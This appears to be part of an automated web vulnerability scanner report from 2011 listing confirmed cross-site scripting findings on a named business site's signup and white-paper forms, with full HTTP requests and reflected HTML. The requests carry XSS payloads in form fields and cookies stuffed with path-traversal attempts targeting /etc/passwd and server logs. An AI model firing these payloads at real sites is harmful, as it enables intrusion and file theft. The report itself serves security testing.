style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="'"--></style></script><script>netsparker(0x0004C7)</script>"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>&..

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
companyName	POST	Smith
emailAddress	POST	netsparker@example.com
firstName	POST	'"--></style></script><script>alert(0x0004D5)</script>
lastName	POST	Smith
password1	POST	3
password2	POST	3
pseudonym	POST	3
receiveSpecialOfferEmail	POST	netsparker@example.com
refererUrl	POST	http://www.insideup.com/index.html
termsOfService	POST	3

Request

POST /communitysignup.html HTTP/1.1
Referer: http://www.insideup.com/communitysignup.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 323
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

companyName=Smith&emailAddress=netsparker%40example.com&firstName='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004D5)%3c%2fscript%3e&lastName=Smith&password1=3&password2=3&pseudonym=3&receiveSpecialOfferEmail=netsparker%40example.com&refererUrl=http%3a%2f%2fwww.insideup.com%2findex.html&termsOfService=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:49 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=6A836EF41DEA790792C5633FD9018675; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value='http://www.insideup.com/index.html'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="3" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 " /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> <td> <input type="text" name="emailAddress" value="netsparker@example.com" id="emailAddress" style="width..

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
_rememberme	POST	3
password	POST	password
refererUrl	POST	'"--></style></script><script>alert(0x0004D9)</script>
rememberme	POST	true
username	POST	username

Request

POST /communitysignup.html HTTP/1.1
Referer: http://www.insideup.com/communitysignup.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 162
Accept-Encoding: gzip, deflate
